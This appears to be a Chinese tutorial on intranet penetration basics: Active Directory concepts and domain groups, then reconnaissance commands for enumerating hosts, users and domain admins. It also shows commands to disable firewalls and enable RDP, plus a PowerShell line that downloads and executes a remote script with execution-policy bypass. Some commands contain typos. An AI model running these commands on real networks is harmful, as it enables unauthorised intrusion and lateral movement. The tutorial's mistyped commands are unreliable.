内网渗透基础

基础名词解析

工作组(Work Group)

在一个大的单位里面,有许多电脑互相连接,为了方便,对不同的电脑按照不同的功能列入不同的工作组,比如技术部加入技术部的组里,行政部加入行政部的组里

计算机属性-》计算机名-》更改-》工作组(输入计算机名)默认是WORKGROUP

工作组并没有真正的集中管理作用,可以随时加入和退出,所有计算机都是对等的,没有服务器和客户机之分的

  • 域是一个有安全边界的计算机集合,在两个域中,一个域的用户不能访问另外一个域的资源

  • 域控制器(Domain Controller,DC)是一个域中的类似管理服务器的计算机,负责每一台联入的电脑和用户的验证工作,域内电脑如果要互相访问需要经过它的审核

单域

一般一个域内至少需要两个域服务器,一个作为DC,一个是备份DC,如果没有第二个备份DC,一旦DC瘫痪了,则域内的其它用户就不能登录该域了,因为活动目录的数据库(包括用户的账号信息)是存储在DC中的,如果DC出了问题,用备份域控制器(BDC)恢复一下DC就好了

父域

  • 为了管理以及一些需求,需要在网络中划分多个域,第一个域是父域,其它的是该域的子域

域树

  • 域树指的是多个域之间的联系,长的和二叉树差不多,子域只能用父域作为域名的后缀,比如父域名是a.com,子域是a.a.com,再下面的子域是a.a.a.com,从此分出了一级域名,二级域名,

域森林

若干个域树组成域森林

DNS域名服务器

用来就行域名和对应IP地址转换的服务器,我们一般通过寻找dns服务器来寻找域控,因为一般回处于同一个机器上

活动目录

  • 活动目录(Active Directory)是域环境中提供目录服务的组件

  • 目录服务帮助用户快速准确的从目录里面寻找需要的资源

  • 域树内的所有域共享一个活动目录,这个活动目录内的数据分散地存储在各个域内,且每个域只存储该域内的数据

功能:

1.账号集中管理,所有账号均存在服务器上,方便对账号的操作

2.软件集中管理,统一推送安装软件

3.环境集中管理

4.更可靠,更少的宕机时间

一般情况下,我们会考虑把域内的各种资源分类存入一个数据库,就是活动目录数据库,简称AD库,然后把存放有活动目录数据库的计算机称为DC

安全域划分

把一组安全等级相同的计算机划入同一个网段内,这一网段内的计算机拥有相同的网络边界,在网络边界上采用防火墙部署来实现对其他安全域的NACL(网络访问控制策略),允许哪些ip访问此域,允许此域访问哪些ip/网段,使其风险最小化

DMZ

DMZ称为隔离区,为了解决安装防火墙后外部网络不能访问内部网络服务器的问题,所以设立的一个非安全系统与安全系统之间的缓冲区

  • 这个缓冲区位于企业内部网络和外部网络之间的小网络区域内,在这个小网络区域内可以放置一些必须公开的服务器设施,比如web服务器

  • 同时通过这个DMZ区域,有效保护了内部网络

DMZ的功能

1.内网可以访问外网

2.内网可以访问DMZ

3.外网不能访问内网

4.外网可以访问DMZ

5.DMZ不能访问内网

6.DMZ不能访问外网(这一条不一定,有的时候DMZ有邮件服务器,需要能够访问外网)

域中服务器的分类

  • 域控

  • 成员服务器

  • 客户机

  • 独立服务器

内权限解读

  • 域本地组,多域用户访问同一个域,可以从任何域添加用户账户、通用组和全局组,只能在其所在域内指派权限。域本地组不能嵌套于其他组中。它主要是用于授予位于本域资源的访问权限

常见系统内置的域本地组及其组权限

Administrators:管理员组,该组的成员可以不受限制地存取计算机/域的资源,是域森林中强大的服务管理组

Remote Desktop Users:远程登录组,处于该组的用户才有权限使用远程登录服务

Print Operators:打印机操作员组,位于该组内的成员可以管理网络中的打印机,包括建立、管理和删除网络打印机,并可以在本地登录和关闭域控制器。

Account Operators:账号操作员组,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器,但是,不能更改属于 Administrators 或 Domain Admins 组的账户,也不能修改这些组。在默认情况下,该组中没有成员。

Server Operators:服务器操作员组,该组的成员可以管理域服务器,其权限包括建立/管理/删除任意服务器的共享目录、管理网络打印机、备份任何服务器的文件、格式化服务器硬盘、锁定服务器、变更服务器的系统时间、关闭域控制器等。在默认情况下,该组中没有成员。

BackupOperators,备份操作员组,改组的成员可以在域控制器中执行备份和还原操作,并可以在本地登录和关闭域控制器。在默认情况下,该组中没有成员。

  • 通用组,通用组的成员可包括域林中任何域的用户账号、全局组和其他通用组,可以在该域林的任何域中指派权限,可以嵌套在其他组中,非常适合在域森林内的跨域访问中使用

Enterprise Admins:企业系统管理员组,改组是域森林根域中的一个组。Enterprise Admins 组在域森林中的每个域内都是 Administrators 组的成员,因此对所有域控制器都有完全访问控制权。

Schema Admins:架构管理员组,是域森林根域中的一个组,可以修改活动目录和域森林的模式。Schema Admins 组是为活动目录和域控制器提供完整权限的域用户组,因此,该组成员的资格是非常重要的。

  • 全局组 只能在创建该全局组的域中添加用户和全局组,也就是说全局组只能包含本域内的用户账户,因此来自一个域的账户不能嵌套在另一个域中的全局组中。这就是为什么来自同一个域的用户不符合在外部域中的域管的成员资格。但是可以将本域内某个全局组添加或嵌套到同一个域的另一个全局组中,或者添加到其他域的通用组和域本地组中。

    Domain Admins,管理员组,该组的成员在所有加入域的服务器、域控制器和活动目录中均默认拥有完整的管理员权限。因为该组会被添加到自己所在域的 Administrators 组中,因此可以继承 Administrators 组的所有权限。同时,该组默认会被添加到每台域成员计算机的本地 Administrators 组中,这样,Domain Admins 组就获得了域中所有计算机的所有权。如果希望某用户成为域系统管理员,建议将该用户添加到 Domain Admins 组中,而不要直接将该用户添加到 Administrators 组中。

    Domain Users,域用户组,该组的成员中是所有的域用户。在默认情况下,任何由我们建立的更户账号都属于 Domain Users 组。因此,如果想让所有的账号都获得某种资源在取权限、可以将该权限指定给域用户组,或者让域用户组属于具有该权限的组。

    Domain Computers,域成员主机组,该组的成员是域内所有的域成员主机,任何由我们建立的计算机账号都属于 Domain Computers 组。

    Domain Controllers,域控制器组,该组成员包含了域内所有的域控制器。

    Domain Guests,域访客用户组,该组内的成员默认为域访客用户,域成员计算机会自动将此组加到本地的 Guests 组中。

    Group Policy Creator Owners:此组成员可以修改域的组策略。

    DnsUpdateProxy:此组成员允许替其他客户端(如DHCP服务器)执行动态更新的 DNS 客户端。

    Read-only Domain Controllers:此组中的成员是域中的只读域控制器

    三种组作用域的比较

    组类型 作用范围 可包含的成员 成员是否在全局编录复制
    域本地组 在同一个域内,本域内。 来自任何域或任何受信任域的帐户。 来自任何域或任何受信任域的全局组。 来自同一林中任何域的通用组。 来自同一域的其他域本地组。
    通用组 所有域。 来自同一林中任何域的帐户。 来自同一林中任何域的全局组。 来自同一林中任何域的其他通用组。
    全局组 所有域。 来自同一域的帐户。 来自同一域的其他全局组。
    简单来说:域本地组:来自全林用于本域全局组:来自本域作用于全林通用组:来自全林作用于全林

    AGDLP权限划分

    A(Account)表示用户账号

    G(Global Group)表示全局组

    U(Universal Group)表示通用组

    L(Local Group)表示本地组

    DL(Domain Local Group)表示域本地组

    P(Resource Permissions)表示资源权限

    按照 AGDLP 权限划分策略对域用户进行组织和管理十分方便,在 AGDLP 策略形成之后,如果需要给一个用户添加某个特定权限时,只需要把这个用户添加到其所在域的域本地组中就行了。

信息收集

本机信息收集

  • 查询网络配置

ipconfig /all

可以查看ip 还能根据dns后缀判断域

  • 查询用户列表

net user 查询用户列表

net localgroup Administrators 查看本机管理员用户和域管理员

query user ||qwinsta 查看登录用户和时间

  • 查询进程

tasklist /v 可查看进程对应用户名

wmic process list brief

  • 查询操作系统的信息

systeminfo 可以看补丁

wmic qfe get caption,description,installedon,hotfixid 查看打补丁和时间

wmic product get name,version 可以查看一些系统语言环境、杀毒软件

  • 查询端口列表

netstat -ano

  • 查询本地共享

net share

wmic share get name,path,status

  • 查询防火墙配置

netsh firewall show config

netsh advfirewall firewall add rule name =” pass nc” dir=in action =allow program=”c:\xxx.exe”

允许指定程序连入

netsh advfirewall firewall add rule name =” allow nc” dir=out action =allow program=”c:\xxx.exe”

允许指定程序连出

netsh advfirewall firewall add rule name =”Remote Desktop” protocol=TCP dir =in localport=3389 action =allow

允许3389

netsh advfirewall set allprofiles state off #关闭防火墙

  • 打开3389

查看端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
得到连接端口为 0xd3d,转换后为 3389

windows server 2003

开启1:
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭:
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
开启2:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

windows server 2008

开启:
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

工作组信息收集

  • 查看SID

whoami /all

  • 查看几个域

net view /domain

  • 查看指定域用户信息

net user xxx/domain

  • 查看用户名

hostname

域信息收集

  • 查看是否有域

ipconfig /all

nslookup 域名

systeminfo

net config workstation 查看当前登录域

net time/domain 可以判断是否在域内

  • 域内存活主机推测

for /L %l in (1,1,254) do @ping -w 1 -n 1 192.168.1.%l findstr “TTL=”

for k in $( seq 1 255);do ping -c 1 192.168.99.$k|grep “ttl”|awk -F “[ :]+” ‘{print $4}’; done

利用ICMP协议推测

 nbtscan.exe ip

下载地址

Invoke-ARPScan.ps1脚本

powershell.exe -exec bypass -Command “& {Import-Module Invoke-ARPScan.ps; Invoke-ARPScan -CIDR 192.168.1.0/24}” >> C:\Users\Administrator\Desktop\log.txt

ScanLine探测内网端口
.\sl.exe -h -t 22,80,445,3389,1099,1433,2049 -u 53,161,137,139 -O c:\C:\Users\Administrator\Desktop\log.txt -p 192.168.1.1-254
1
-t 是指定TCP断就扫描
-u是指定UDP端口扫描

  • 域内端口扫描

telnet 192.168.0.2 22 #利用telnet进行扫描

powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports ‘445,1433,80,8080,3389’ -oA c:\ProgramData\ip_info”

PowerSploit的Invoke-portscan.ps1

  • 域内信息收集

net view /domain 查看域

net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group “domain admins” /domain 查看域管理员的名字
net group “domain computers” /domain 查看域中的其他主机名

net accounts /domain 查看密码策略
net group “doamin controllers” /domain 查看域控制器(可能有多台)

nltest /domain_trusts 查看域的结构

  • 查找域控

nltest /DCLIST:域名

nslookup -type=SRU _ldap._tcp

net group “Domain Controllers” /domain

netdom query pdc

  • 域内用户和管理员列表

net user /domain

wmic useraccount get /all

dsquery user

net localgroup administrators /domain

powershell收集域信息
  • powershell是微软官网的脚本语言,功能十分强大

2.0 win2008 win7

3.0 win2012 win8

4.0 win2012R2 win8.1

5.0 win2016 win10

powershell命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
powershell常见四个执行策略,Restricted 不允许运行脚本
Allsigned 执行有证书的脚本
Unrestricted 可执行任意脚本
Remotesigned 本地脚本无限制,外部脚本需要签名
get-executionpolicy 判断权限
set-executionpolicy xxx 设置执行策略
import-module .\powerview.ps1 执行powerview脚本
#powerview常见命令
get-netdomain 查询当前用户域名称
get-netuser 查询用户信息
get-netdomaincontroller 查询域控
get-netcomputer 获取域内主机
get-netgroup 获取域内组信息
get-netshare 获取网络共享
get-netsession 获取指定服务器session信息
get-netrdpsession 获取远程连接信息
get-userevent 查看用户日志
get-ADobject 获取活动目录内容
get-netGPO 查看组策略对象
get-domainpolicy 查看域默认或域控策略
invoke-processHunter 获取域用户登录计算机信息以及权限
invoke-usereventHunter 根据用户日志获取某域用户登录过哪些域机器
invoke-processHunter查看域内所有机器进程用于查找用户

假如不是powershell下,可以在cmd里用

1
powershell -exec bypass "import-module c:\powerview.ps1;get-netuser"
敏感信息收集
1
2
3
4
5
dir c:\*.doc /s
findstr /si "password.txt"
netstat -ano
tasklist /v
rount print 路由信息
定位域管理员

由于当主机连入域后,域管理员会自动添加到主机的账号里面,所以有了域管理员的账号后,可以登录任意主机,而且权限很高

定位域管理员通常有两个思路,一个是日志,另外一个是进程

常见工具:(cs的一些插件自带)

  • psloggedon.exe

  • PVEFindADUser.exe

  • netview.exe

  • netsess.exe

  • Powerview脚本的invoke-UserHunter

查找域管理进程

net view /domain 查看当前域名

net view /domain:域名 查看域内部所有计算机名

net group /domain 查看域内部所有用户组列表

net group “domain computers” /domain 查看所有域成员计算机列表

net accounts /domain 查看域密码信息

nltest /domian_trusts 获取域信任信息

nltest /DCLIST:域名 查看域控制器机器名

net time /domain 查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名

net group “Domain Controllers” /domain 查看域控制器组,因为可能有不止一台域控,有主备之分

net user /domain 查询域内用户,会看到熟悉的krbtgt用户

wmic useraccount get /all 获取域内用户详细信息

dsquery user 查看域内存在的用户

net localgroup administrators 查看本地管理员用户组

net group “domain admins” /domain 查询域管理员用户